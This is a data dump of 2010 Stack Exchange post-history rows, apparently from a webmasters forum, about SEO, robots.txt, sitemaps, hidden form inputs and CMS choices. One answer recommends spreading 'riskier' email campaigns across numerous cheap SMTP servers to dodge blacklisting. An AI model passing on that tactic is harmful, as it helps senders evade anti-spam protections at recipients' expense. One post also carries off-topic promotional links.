  <row Id="11047" PostHistoryTypeId="5" PostId="5535" RevisionGUID="c8e57043-7bc8-4d55-b652-2dfad067bee5" CreationDate="2010-11-17T08:28:27.440" UserId="1064" Comment="Added example" Text="Speaking to your question - &quot;Does the incoming 'link-juice' still count if the target page is forbidden to Google in my robots.txt?&quot; - I would say that PageRank *is* calculated, even for `noindex`/`nofollow` URI's:&#xD;&#xA;&#xD;&#xA;&gt; While Google won't crawl or index the&#xD;&#xA;&gt; content of pages blocked by&#xD;&#xA;&gt; robots.txt, we may still index the&#xD;&#xA;&gt; URLs if we find them on other pages on&#xD;&#xA;&gt; the web. As a result, the URL of the&#xD;&#xA;&gt; page and, potentially, other publicly&#xD;&#xA;&gt; available information such as anchor&#xD;&#xA;&gt; text in links to the site, or the&#xD;&#xA;&gt; title from the Open Directory Project,&#xD;&#xA;&gt; can appear in Google search results.&#xD;&#xA;&#xD;&#xA;[Google Webmaster Central: Block or remove pages using a robots.txt file][1]&#xD;&#xA;&#xD;&#xA;**Example:** My &quot;working-model.com&quot; domain has had an all-exclusive robots.txt specified for as long as I can remember, however, a [Google search for working-model.com][2] (or a [Yahoo search][3], or a [Bing search][4]) shows a rank for the domain (probably as a result of a domain WHOIS site linking in).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449&#xD;&#xA;  [2]: http://www.google.com/search?q=working-model.com&#xD;&#xA;  [3]: http://search.yahoo.com/search?p=&quot;working-model.com&quot;&#xD;&#xA;  [4]: http://www.bing.com/search?q=&quot;working-model.com&quot;" />
  <row Id="11048" PostHistoryTypeId="2" PostId="5536" RevisionGUID="b67b29f8-413c-4b71-b857-470c858d4152" CreationDate="2010-11-17T10:19:14.957" UserId="3175" Text="Is there anyway that too many HTML comments in a document can effect SE rankings?&#xD;&#xA;Do the spiders ignore all of them?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="11049" PostHistoryTypeId="1" PostId="5536" RevisionGUID="b67b29f8-413c-4b71-b857-470c858d4152" CreationDate="2010-11-17T10:19:14.957" UserId="3175" Text="HTML comments and SEO" />
  <row Id="11050" PostHistoryTypeId="3" PostId="5536" RevisionGUID="b67b29f8-413c-4b71-b857-470c858d4152" CreationDate="2010-11-17T10:19:14.957" UserId="3175" Text="&lt;seo&gt;" />
  <row Id="11051" PostHistoryTypeId="2" PostId="5537" RevisionGUID="1539e5e4-28ce-4ea4-8eba-e38e4d255ad5" CreationDate="2010-11-17T10:33:21.247" UserId="233" Text="They are completely ignored so no, it doesn't affect rankings. The only problem might be if you have such a massive amount of text in comments, that it increases the load time significantly. Users might go elsewhere." />
  <row Id="11052" PostHistoryTypeId="4" PostId="5523" RevisionGUID="bb8b9559-b1f1-49f7-8873-68d88dd4ae5e" CreationDate="2010-11-17T10:35:47.160" UserId="233" Comment="fixed title" Text="Do new lines in the title tag affect SEO?" />
  <row Id="11053" PostHistoryTypeId="2" PostId="5538" RevisionGUID="5aefc6c8-ea59-4dc6-a4aa-c1765a1e53a4" CreationDate="2010-11-17T10:42:06.143" UserId="3229" Text="Search engines mostly ignore whitespaces in HTML code so this should definitely not affect SEO." />
  <row Id="11054" PostHistoryTypeId="2" PostId="5539" RevisionGUID="5669df4b-a113-4fc4-bf23-262a1bf4cb50" CreationDate="2010-11-17T10:50:49.163" UserId="2044" Text="Check out the site. Its quite kool for your font selection. gives detail idea with comparisions:&#xD;&#xA;&#xD;&#xA;http://www.wilsonweb.com/wmt6/html-email-fonts.htm&#xD;&#xA;&#xD;&#xA;Its KOOL[Sunshine Trekking][1]/[Trekking and Tours][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sunshinetrekking.com&#xD;&#xA;  [2]: http://trekkingandtoursnepal.com" />
  <row Id="11055" PostHistoryTypeId="2" PostId="5540" RevisionGUID="b9c0ba91-738d-4f07-b27c-b3a5c590a700" CreationDate="2010-11-17T10:56:34.143" UserId="3070" Text="can anyone help with alternative of Wordpress for site with review. Need more seriously CMS. Thanks." />
  <row Id="11056" PostHistoryTypeId="1" PostId="5540" RevisionGUID="b9c0ba91-738d-4f07-b27c-b3a5c590a700" CreationDate="2010-11-17T10:56:34.143" UserId="3070" Text="Alternative of Wordpress for site with review" />
  <row Id="11057" PostHistoryTypeId="3" PostId="5540" RevisionGUID="b9c0ba91-738d-4f07-b27c-b3a5c590a700" CreationDate="2010-11-17T10:56:34.143" UserId="3070" Text="&lt;cms&gt;" />
  <row Id="11058" PostHistoryTypeId="2" PostId="5541" RevisionGUID="f1d16feb-7fae-4e93-9aee-0585cc65eb36" CreationDate="2010-11-17T11:05:47.347" UserId="3277" Text="Take a look at http://www.openemm.org &#xD;&#xA;&#xD;&#xA;* Easy to use&#xD;&#xA;* Open Source version&#xD;&#xA;* Active development" />
  <row Id="11059" PostHistoryTypeId="2" PostId="5542" RevisionGUID="c809ff3a-b506-44a6-9594-cf30b720c340" CreationDate="2010-11-17T11:10:37.283" UserId="3277" Text="Magnolia is implemented in JAVA and therefore a overhead for small pages but still: http://www.magnolia-cms.com/ great CMS! A community version (Open Source) is available and usable for commercial use." />
  <row Id="11060" PostHistoryTypeId="2" PostId="5543" RevisionGUID="64872e70-5cc7-48a3-bffd-71f79ec128ef" CreationDate="2010-11-17T11:55:42.610" UserDisplayName="user1561" Text="Is there a JS API for stream WMV/AVI/MOV files ?" />
  <row Id="11061" PostHistoryTypeId="1" PostId="5543" RevisionGUID="64872e70-5cc7-48a3-bffd-71f79ec128ef" CreationDate="2010-11-17T11:55:42.610" UserDisplayName="user1561" Text="Java Script to stream Video files" />
  <row Id="11062" PostHistoryTypeId="3" PostId="5543" RevisionGUID="64872e70-5cc7-48a3-bffd-71f79ec128ef" CreationDate="2010-11-17T11:55:42.610" UserDisplayName="user1561" Text="&lt;video&gt;" />
  <row Id="11063" PostHistoryTypeId="5" PostId="5471" RevisionGUID="e83e1af7-a19a-4cdb-9ab9-1df4d9e33ef2" CreationDate="2010-11-17T12:08:03.387" UserId="1429" Comment="added 2 characters in body" Text="in the typical DB driven cms/ecommerce site you will have items pages at urls in some form similar to:&#xD;&#xA;&#xD;&#xA;    http://www.domain.com/item.php?id=36&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**1) Is it good for SEO purpose to add a sort of description (related to page contents) in url?** i.e.&#xD;&#xA;&#xD;&#xA;    http://www.domain.com/item.php?id=36&amp;descr=cheap-blue-jeans&#xD;&#xA;&#xD;&#xA;even if descr key is not needed by the webapp to retrieve item from DB, thus making **the url to work with/without the `descr` key and to show the same identical page.**&#xD;&#xA;&#xD;&#xA;I'm asking because for instance my profile on Pro Webmasters seem exactly to do this:&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/users/1429&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/users/1429/marco-demaio&#xD;&#xA;&#xD;&#xA;They are the same url, the `marco-demaio` value is not needed, only the `1429` value is needed to get my profile from DB.&#xD;&#xA;&#xD;&#xA;*NOTE: in this last example I think also url rewrite is involved, but this question goes beyond urls rewrite, **I'm not interested in rewriting any url here** and to whoever is an url-rewrite-addict I would suggest to read this [Google official article][1].*&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**2) Supposing the answer to (1) is yes or *almost yes*, do I need to do a redirect 301 (or use canonical)?** And if yes from `http://...?id=36&amp;descr=cheap-blue-jeans` to `http://...?id=36` or viceversa?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;3) Supposing answer to (2) is *&quot;yes you better do redirect&quot;*, why do I need a redirect (or canonical)? I mean **do I even need redirect/canonical when I'm absolutely sure that my webapp will never link to both pages**, so you will never find in the site the same page linked in two different ways (i.e. all link to id=36 will be in the form `http://...?id=36&amp;descr=cheap-blue-jeans` so why does Google should care about `http://...?id=36`, I mean it should never get even indexed and therefor I should not ever have duplicated contents issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you arrived here, thanks for the patience in reading into all this, and more thanks for any replies. :)&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2008/09/dynamic-urls-vs-static-urls.html" />
  <row Id="11064" PostHistoryTypeId="2" PostId="5544" RevisionGUID="8f908713-4864-4b41-bcb6-ca4b91c4413d" CreationDate="2010-11-17T12:28:09.803" UserId="1429" Text="I would say NO, because if they do affect SEO it means that Google sees differently also:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;hello babe&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;&#xD;&#xA;       hello&#xD;&#xA;       babe&#xD;&#xA;    &lt;/p&gt;&#xD;&#xA;&#xD;&#xA;which are **exactly the same thing and are rendered exactly in the same way** by any browsers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11065" PostHistoryTypeId="2" PostId="5545" RevisionGUID="6cabf263-1816-4b66-ab7b-0ea3ac36123a" CreationDate="2010-11-17T12:34:12.720" UserId="3175" Text="I am trying to validate my document that has the following facebook comments tag&#xD;&#xA;&#xD;&#xA;    &lt;fb:comments width=&quot;425&quot;&gt;&lt;/fb:comments&gt;&#xD;&#xA;&#xD;&#xA;I am getting validation error:&#xD;&#xA;&gt; Line 333, Column 45: Element name&#xD;&#xA;&gt; fb:comments cannot be represented as&#xD;&#xA;&gt; XML 1.0.&#xD;&#xA;&#xD;&#xA;    Element fb:comments not allowed as child of element div in this context. (Suppressing further errors from this subtree.)&#xD;&#xA;&#xD;&#xA;Any idea how to fix it?&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="11066" PostHistoryTypeId="1" PostId="5545" RevisionGUID="6cabf263-1816-4b66-ab7b-0ea3ac36123a" CreationDate="2010-11-17T12:34:12.720" UserId="3175" Text="HTML validation with Facebook Comments" />
  <row Id="11067" PostHistoryTypeId="3" PostId="5545" RevisionGUID="6cabf263-1816-4b66-ab7b-0ea3ac36123a" CreationDate="2010-11-17T12:34:12.720" UserId="3175" Text="&lt;html&gt;&lt;facebook&gt;&lt;validation&gt;" />
  <row Id="11068" PostHistoryTypeId="2" PostId="5546" RevisionGUID="c2bdec5e-d047-413d-ace3-79cc2a300fb8" CreationDate="2010-11-17T12:57:56.857" UserId="1253" Text="Even if the page is not indexed by Google those pages will still get PageRank assigned to them. This means by linking to them you will &quot;leak&quot; PR as that PR will simply be lost instead of passed to other links. It essentially is the same as using nofollow on a link. So if you are linking to internal pages that are blocked with robots.txt you are essentially diluting the amount of PR you are passing to the allowed pages on your site.&#xD;&#xA;&#xD;&#xA;[See this blog post for more on this.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.websitepublisher.net/blog/2009/06/17/nofollow-pagerank-manipulation/" />
  <row Id="11069" PostHistoryTypeId="2" PostId="5547" RevisionGUID="301ee5de-1a9f-43f2-975d-c20ded0a3263" CreationDate="2010-11-17T13:03:41.930" UserId="221" Text="You need to use an appropriate doctype.&#xD;&#xA;&#xD;&#xA;This has been covered (for HTML docs) on StackOverflow: http://stackoverflow.com/questions/2761622/new-facebook-like-button-html-validation" />
  <row Id="11070" PostHistoryTypeId="2" PostId="5548" RevisionGUID="e4026f1e-ef76-4f72-949e-3117948787a7" CreationDate="2010-11-17T13:26:36.590" UserId="711" Text="Yes, Google does assign PageRank to URLs that are robotted, but no, you're not shooting yourself in the foot by having such URLs or by linking to them. The time you spend on tweaking your perceived PageRank flow is generally much better spent on working on your content instead. &#xD;&#xA;&#xD;&#xA;The only reason to watch out for this is if you're using the robots.txt disallows to control duplicate content. Since the robotted URLs can collect PageRank, and since Google can't confirm that they are duplicates (as would be possible if they could be crawled), it can result in Google indexing both the robotted, uncrawled URL as well as the crawlable version with the same content. It's much better to allow crawling of duplicate content and to use one of the usual canonicalization methods (like a 301 redirect or a rel=canonical link element). " />
  <row Id="11071" PostHistoryTypeId="2" PostId="5549" RevisionGUID="57749933-2029-45e8-9827-bf4f43de2bd2" CreationDate="2010-11-17T13:38:11.917" UserId="1953" Text="After claiming your listing with Google Places as well as Bing, and BOTW local listings. I start with the local citation finder. This shows where your top local competitors are promoting their website http://www.whitespark.ca/tools/local-citation-finder/ and will give you a good idea of where to promote locally.&#xD;&#xA;&#xD;&#xA;Also depending on the industry Yelp can be a great resource.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11072" PostHistoryTypeId="2" PostId="5550" RevisionGUID="37fee2dc-0596-488b-ab2c-21456d68f357" CreationDate="2010-11-17T14:03:52.517" UserId="2070" Text="In some search results Google displays nice stars and total reviews on particular webpage, it looks pretty cool, and I would like to know how does Google know, how many reviews this website has and what is actual score for reviews. &#xD;&#xA;&#xD;&#xA;Is there some kind of special API for that or might be some special tags?&#xD;&#xA;&#xD;&#xA;[example search query][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=hilton+reviews" />
  <row Id="11073" PostHistoryTypeId="1" PostId="5550" RevisionGUID="37fee2dc-0596-488b-ab2c-21456d68f357" CreationDate="2010-11-17T14:03:52.517" UserId="2070" Text="How to provide Google reviews information?" />
  <row Id="11074" PostHistoryTypeId="3" PostId="5550" RevisionGUID="37fee2dc-0596-488b-ab2c-21456d68f357" CreationDate="2010-11-17T14:03:52.517" UserId="2070" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="11075" PostHistoryTypeId="2" PostId="5551" RevisionGUID="613d2c69-a84a-4318-b132-fbbbe24ae56f" CreationDate="2010-11-17T14:17:34.730" UserId="1253" Text="It's part of [Google Places][1]. If a business is listed with Google Places it can receive reviews which are then displayed in their local search results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/local/add/businessCenter" />
  <row Id="11077" PostHistoryTypeId="5" PostId="5331" RevisionGUID="3f5618f0-84a1-4edb-a26a-36d4b692e374" CreationDate="2010-11-17T14:58:36.770" UserId="3142" Comment="added bullets to Title and MetaDescription; had appeared together on one line but shouldn't have" Text="I'm surprised no one also suggested that the Meta Description is a good place to put the &quot;extra&quot; information you aren't able to put in the HTML &lt;title&gt;.&#xD;&#xA;&#xD;&#xA;65 chars is a mutually agreed upon number, with the reason being that you don't want the GOOG to truncate your title poorly, as they do sometimes. You want to have control over that yourself.&#xD;&#xA;&#xD;&#xA;So, you have two tools to &quot;sell&quot; your site and earn the click through:&#xD;&#xA;&#xD;&#xA; - Title&#xD;&#xA; - Meta Description&#xD;&#xA;&#xD;&#xA;If you recall that those are the two things the user typically sees when scanning the SERPs, you'll be able to write them in a complimentary way that &quot;sells&quot; your page and earns the click... if, in fact, it's relevant to the user." />
  <row Id="11078" PostHistoryTypeId="2" PostId="5552" RevisionGUID="f673a001-1b27-4660-9df4-d04330189016" CreationDate="2010-11-17T15:11:46.943" UserId="3284" Text="Given [site 1][1] and site 2 (http://griffith.ocfaustralia.org/), is there a way for me to tell whether site 2 is a daughter site for site 1? That is, if I were to remove site 1 would site 2 go down as well? The reason I'm asking is because I've been asked to do a major redesign for site 1 (the original developer's gone, left no documentations, the codes disorganised and everywhere, etc) and with the way things are, I figured it would be a lot easier and also better in the long run if I just delete everything and start again from scratch. Therefore I need to check for dependancies before pulling the plug.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ocfaustralia.org/" />
  <row Id="11079" PostHistoryTypeId="1" PostId="5552" RevisionGUID="f673a001-1b27-4660-9df4-d04330189016" CreationDate="2010-11-17T15:11:46.943" UserId="3284" Text="How do I know whether a site is a daughter site of another?" />
  <row Id="11080" PostHistoryTypeId="3" PostId="5552" RevisionGUID="f673a001-1b27-4660-9df4-d04330189016" CreationDate="2010-11-17T15:11:46.943" UserId="3284" Text="&lt;web-development&gt;&lt;url&gt;&lt;domain-names&gt;" />
  <row Id="11081" PostHistoryTypeId="2" PostId="5554" RevisionGUID="7418ad5d-3d28-4cd6-85d5-064168ac013e" CreationDate="2010-11-17T09:54:23.607" UserDisplayName="Chopper3" Text="Getting **ALL** is a hard full-time job usually only done by companies with more money than sense.&#xD;&#xA;&#xD;&#xA;I'd suggest you get all the ones for countries you're currently active in or likely to work in in the next 2 years. If there are any that you just have a 'hunch' about then go for them too. If there are any industry specific ones you way (i.e. .tv) then go for them obviously then also go for the other major ones like .net/org etc.&#xD;&#xA;&#xD;&#xA;Other than that I'd leave the rest." />
  <row Id="11082" PostHistoryTypeId="2" PostId="5555" RevisionGUID="42928482-7c2b-44a6-acc5-7fd2fbb3fc35" CreationDate="2010-11-17T11:10:38.203" UserDisplayName="SmallClanger" Text="Agreed with Chopper. Get the global ones and the active country ones.  There might be the odd exception, like .co (Colombia) .tv (Tuvalu, tiny island sinking into the sea. The TLD is its chief export, I believe), but even if you do get them all, you're then looking at all of the variations (hyphens, common typos, suffixes). How much time and money have you got? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="11083" PostHistoryTypeId="2" PostId="5553" RevisionGUID="e5119eb8-861c-403f-b094-8ad46e0c4f65" CreationDate="2010-11-17T09:51:13.077" UserDisplayName="Chirag" Text="How important is it to grab all available domain TLDs for somewhat popular site? (Alexa Rank: ~20k)" />
  <row Id="11084" PostHistoryTypeId="1" PostId="5553" RevisionGUID="e5119eb8-861c-403f-b094-8ad46e0c4f65" CreationDate="2010-11-17T09:51:13.077" UserDisplayName="Chirag" Text="Importance of grabbing a domain tld" />
  <row Id="11085" PostHistoryTypeId="3" PostId="5553" RevisionGUID="e5119eb8-861c-403f-b094-8ad46e0c4f65" CreationDate="2010-11-17T09:51:13.077" UserDisplayName="Chirag" Text="&lt;domains&gt;&lt;tld&gt;" />
  <row Id="11086" PostHistoryTypeId="17" PostId="5553" RevisionGUID="84316dd0-aa1c-44fb-8391-173236a6f779" CreationDate="2010-11-17T15:15:11.593" UserId="-1" Comment="from http://serverfault.com/questions/202840/importance-of-grabbing-a-domain-tld" Text="" />
  <row Id="11087" PostHistoryTypeId="2" PostId="5556" RevisionGUID="bc5f3780-9a7a-4696-bbec-b6660f04bd50" CreationDate="2010-11-17T15:24:05.027" UserId="2068" Text="I have the following fields:  &#xD;&#xA;&#xD;&#xA;    First Name: &lt;input type=&quot;text&quot; id=&quot;tFName&quot; name=&quot;tFName&quot; maxlength=&quot;50&quot; /&gt;&#xD;&#xA;    Last Name:  &lt;input type=&quot;text&quot; id=&quot;tLName&quot; name=&quot;tLName&quot; maxlength=&quot;50&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Is the following the proper way to receive the values of the above fields in hidden inputs?  &#xD;&#xA;&#xD;&#xA;    &lt;input type=&quot;hidden&quot; name=&quot;tFName&quot; value=&quot;tFName&quot;/&gt;&#xD;&#xA;    &lt;input type=&quot;hidden&quot; name=&quot;tLName&quot; value=&quot;tLName&quot;/&gt;	&#xD;&#xA;" />
  <row Id="11088" PostHistoryTypeId="1" PostId="5556" RevisionGUID="bc5f3780-9a7a-4696-bbec-b6660f04bd50" CreationDate="2010-11-17T15:24:05.027" UserId="2068" Text="Trying to collect input values using hidden input fields" />
  <row Id="11089" PostHistoryTypeId="3" PostId="5556" RevisionGUID="bc5f3780-9a7a-4696-bbec-b6660f04bd50" CreationDate="2010-11-17T15:24:05.027" UserId="2068" Text="&lt;html&gt;&lt;forms&gt;" />
  <row Id="11090" PostHistoryTypeId="2" PostId="5557" RevisionGUID="36a71266-5845-484e-899f-38fdb106796b" CreationDate="2010-11-17T15:29:30.373" UserId="1253" Text="Yes...if their first name is &quot;tFName&quot; and their last name is &quot;tLName&quot;. A hidden field is just like a text field except that the user can't see the field or change it's value. So the `value` attribute of the `&lt;input&gt;` tag should be whatever value you wish to send to your server side script. If you need to change that information dynamically you can use JavaScript to update the value attribute as needed.&#xD;&#xA;&#xD;&#xA;**Example:**&#xD;&#xA;&#xD;&#xA;If you want to send the hidden first name of &quot;John&quot; and last name of &quot;Conde&quot; you would use this code:&#xD;&#xA;&#xD;&#xA;    &lt;input type=&quot;hidden&quot; name=&quot;tFName&quot; value=&quot;John&quot;/&gt;&#xD;&#xA;    &lt;input type=&quot;hidden&quot; name=&quot;tLName&quot; value=&quot;Conde&quot;/&gt; " />
  <row Id="11091" PostHistoryTypeId="2" PostId="5558" RevisionGUID="02e6006f-0386-4096-9a66-80d6fac6310a" CreationDate="2010-11-17T15:31:19.907" UserId="2907" Text="Do you mean the first example sends to a second page that stores them, or on the same page you want a text field and a hidden field, where the hidden field is set to the value entered in the text field?&#xD;&#xA;&#xD;&#xA;Either way, this can't be done with pure HTML. You'll need to use a server side language like PHP/ASP/ColdFusion/etc. if you're trying to set the values.&#xD;&#xA;&#xD;&#xA;PHP would do it like so...&#xD;&#xA;&#xD;&#xA;    // form page 1&#xD;&#xA;    First Name: &lt;input type=&quot;text&quot; id=&quot;tFName&quot; name=&quot;tFName&quot; maxlength=&quot;50&quot; /&gt;&#xD;&#xA;    &#xD;&#xA;    // form page 2&#xD;&#xA;    &lt;input type=&quot;hidden&quot; name=&quot;tFName&quot; value=&quot;&lt;?php $_POST['tFName']&quot;/&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're trying to set it on the same page, you could try to call a javascript onsubmit() to take the value from the text field and then set it in the hidden&#xD;&#xA;field, then do a submit. I'd have to test this to see if it would work, but that's my first thought on it...&#xD;&#xA;&#xD;&#xA;What's the purpose? That may help understand a better way to go too..." />
  <row Id="11092" PostHistoryTypeId="2" PostId="5559" RevisionGUID="cec92cc4-40c2-485f-b04f-2bdc81d615cf" CreationDate="2010-11-17T15:37:34.053" UserId="2907" Text="In your example &quot;griffith&quot; is a sub-domain of &quot;ocfaustrailia.org&quot;. You could remove all the content from the ocf site and be fine with griffith. If your domain name for ocf were to expire or go down, then you would have issues.&#xD;&#xA;&#xD;&#xA;You can set up www.mydomain.com as a primary domain, then set up client1.mydomain.com, client2.mydomain.com, blog.mydomain.com etc. They are all independent sites, usually set up with their own root folder similar to... (*nix hosts)&#xD;&#xA;&#xD;&#xA;/public_html/index.html (this is home for mydomain.com)&#xD;&#xA;/public_html/client1/index.html (this is home for client 1)&#xD;&#xA;/public_html/client2/index.html (this is home for client 2)&#xD;&#xA;/public_html/blog/index.html (this is home for blog)&#xD;&#xA;&#xD;&#xA;So long as you don't remove the directory in your /public_html/ for your sub domains, the files will remain. The setup for domain name structure is handled via DNS entries. Many ISPs have control panels like cPanel to help you set this up." />
  <row Id="11093" PostHistoryTypeId="2" PostId="5560" RevisionGUID="8e467138-8473-4258-a120-5307faaaa9d8" CreationDate="2010-11-17T15:37:49.070" UserId="3175" Text="I have two questions regarding site maps:&#xD;&#xA;&#xD;&#xA;1) Currently my site has around 5,000 pages. However, in the future it will contain more than 50,000 pages. Should I start using sitemap-index with only one sitemap listed at the current time? Or should I use a sitemap and when I pass the 50,000 limit add a sitemap-index file with 2 sitemaps listed?  Does it even matter??&#xD;&#xA;&#xD;&#xA;2) Should I re-submit sitemap through Google webmasters tools every time I add a new URL? Or does it check it automatically?&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="11094" PostHistoryTypeId="1" PostId="5560" RevisionGUID="8e467138-8473-4258-a120-5307faaaa9d8" CreationDate="2010-11-17T15:37:49.070" UserId="3175" Text="Sitemaps index submission" />
  <row Id="11095" PostHistoryTypeId="3" PostId="5560" RevisionGUID="8e467138-8473-4258-a120-5307faaaa9d8" CreationDate="2010-11-17T15:37:49.070" UserId="3175" Text="&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="11096" PostHistoryTypeId="2" PostId="5561" RevisionGUID="941ce5c6-71f4-4349-b232-7af18c069136" CreationDate="2010-11-17T15:40:48.310" UserId="2907" Text="Other PHP based CMS systems to consider are Joomla and Drupal. There are pluses and minuses with each. These are OSS solutions that should work in your environment if you're currently running WP.&#xD;&#xA;&#xD;&#xA;I found this interesting as a comparison. Hope it helps...&#xD;&#xA;&#xD;&#xA;http://www.theopensourcery.com/keepopen/2010/best-open-cms-wordpress-vs-joomla-vs-drupal/" />
  <row Id="11097" PostHistoryTypeId="2" PostId="5562" RevisionGUID="eb643bd5-8b76-4238-b94f-be87b5df28fd" CreationDate="2010-11-17T15:44:07.327" UserId="2907" Text="If you're using a server side language, you could always put some comments inside comment tags in that language. I do this for comments I don't want outputted, or for situations where I'm taking down a section and don't want people to be able to view it like so...&#xD;&#xA;&#xD;&#xA;    &lt;?php // php comment example&#xD;&#xA;    /*&#xD;&#xA;    &#xD;&#xA;    &lt;strong&gt;DON'T WANT ANYONE TO SEE THIS&lt;/strong&gt;&#xD;&#xA;    &#xD;&#xA;    */&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;Your HTML page will be smaller, but your PHP process will be interpretting more... not sure which is more efficient, so for me it comes down to need." />
  <row Id="11098" PostHistoryTypeId="2" PostId="5563" RevisionGUID="6d9f2e2a-4016-4653-aee4-eab3cea1856e" CreationDate="2010-11-17T15:44:46.577" UserId="1253" Text="1) If your site is going to grow quickly write a sitemap generator that creates the appropriate number of sitemaps based on the the total number of pages being submitted. This way your site can grow and you won't have to worry about revisiting this in the future. If it is going to be a while before your site reaches the point where more then one sitemap is required then don't spend time on it now as there are more productive things you can be doing with your time. You can always revisit this once your site start to approach the point where more then one is needed.&#xD;&#xA;&#xD;&#xA;Their is a protocol for submitting multiple sitemaps and if you follow it from the beginning you won't have issues going forward.&#xD;&#xA;&#xD;&#xA;2) They automatically poll your sitemap periodically so there is no need to resubmit it. " />
  <row Id="11100" PostHistoryTypeId="2" PostId="5565" RevisionGUID="16b7cfb7-fe96-437a-8eac-5b8a6ac3726a" CreationDate="2010-11-17T16:11:54.147" UserId="2907" Text="Are you changing at the command line or through a web-based application? I think if you change at the command line and flush privileges, the only other thing would be to maybe restart apache (assuming you're on LAMP) in case your app is caching the connection?" />
  <row Id="11101" PostHistoryTypeId="2" PostId="5566" RevisionGUID="677819d1-664c-4a43-b877-a57209eea646" CreationDate="2010-11-17T16:56:20.437" UserId="1953" Text="Outside of Google's place pages they also have &quot;rich snippets&quot; which are generated from microdata/microformats/RDFa used on your website here is their support page http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=99170" />
  <row Id="11102" PostHistoryTypeId="2" PostId="5567" RevisionGUID="a83db4b4-cd8c-4286-80f6-e0c36a1ef3e6" CreationDate="2010-11-17T16:58:11.003" UserId="2379" Text="I disagree, this is somewhat imporant.  the last thing you want is someone to own Google.org and use it as a site to write negative reviews about your site (google.com)  get the main tld's for a prominent site.  .org .net .com .  If you can afford it and have a worldwide audience look at top levels for important countries such as .ca (candada) .co.uk etc. " />
  <row Id="11103" PostHistoryTypeId="2" PostId="5568" RevisionGUID="4a9bdd47-96fc-4a1e-a1a2-0570dc6b3e82" CreationDate="2010-11-17T17:01:02.547" UserId="2379" Text="I have used jangomail, constant contact, and mailchimp.  The best solution i have found is interprise newsletter manager.  The beauty of their service is that you can own the software and install it on your own server.  Then you can use outside smtp services or setup other SMTP servers to send your emails.&#xD;&#xA;&#xD;&#xA;SMPT.com is far cheaper than using mailchimp, ConstantContact or much of the other newsletter providers.  With the combination of using SMTP.com and Interprise you will save quite a bit of money.  &#xD;&#xA;&#xD;&#xA;Plus for riskier campaigns where you fear you will get blacklisted you can setup numerous STMP servers on cheap hosting accounts and send 500-2k emails a day, monitoring your smtp server to see if it gets blacklisted.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11104" PostHistoryTypeId="2" PostId="5569" RevisionGUID="3a82d2bf-25ac-4274-abb4-40ce932d0e78" CreationDate="2010-11-17T17:13:23.663" UserId="2379" Text="http://themeforest.net/category/misc/drupal" />
  <row Id="11105" PostHistoryTypeId="2" PostId="5570" RevisionGUID="143ec263-0c16-4c05-9a46-2cd611d35626" CreationDate="2010-11-17T17:19:54.757" UserId="1064" Text="&gt; I need to check for dependancies&#xD;&#xA;&gt; before pulling the plug.&#xD;&#xA;&#xD;&#xA;Yes, you certainly do - and unless you are willing to review the content in place at ocfaustralia.org for any shared databases, include files, stylesheets, images (et cetera) hosted under the griffith.ocfaustralia.org subdomain, I would *strongly* suggest that you hold off on taking anything down until you have figured out all the dependencies or implemented (and tested) a complete replacement." />
  <row Id="11106" PostHistoryTypeId="2" PostId="5571" RevisionGUID="5a9b7ef0-e964-42ad-b0a9-174d6f6a9c92" CreationDate="2010-11-17T17:20:19.183" UserId="3142" Text="An error with our URL rewrite rules caused some pages to be not found (404 errors) when Google crawled our site.&#xD;&#xA;&#xD;&#xA;I regularly watch for errors and fix database or coding issues when they arise. We usually avoid them altogether, but sometimes we're surprised to find a 404 and we fix it.&#xD;&#xA;&#xD;&#xA;How bad is it? Supposing our goal is to establish &quot;trust&quot; and &quot;authority&quot; and keep the spider coming back for more pages, does anyone know how the spider acts programatically with crawl errors. Is there a point where the crawl frequency is reduced, or the SERPs affected?" />
  <row Id="11107" PostHistoryTypeId="1" PostId="5571" RevisionGUID="5a9b7ef0-e964-42ad-b0a9-174d6f6a9c92" CreationDate="2010-11-17T17:20:19.183" UserId="3142" Text="What's the extend of the &quot;damage&quot; with a broken URL, showing in Google Webmaster Tools?" />
  <row Id="11108" PostHistoryTypeId="3" PostId="5571" RevisionGUID="5a9b7ef0-e964-42ad-b0a9-174d6f6a9c92" CreationDate="2010-11-17T17:20:19.183" UserId="3142" Text="&lt;google-webmaster-tools&gt;&lt;url&gt;&lt;404&gt;&lt;crawling&gt;" />
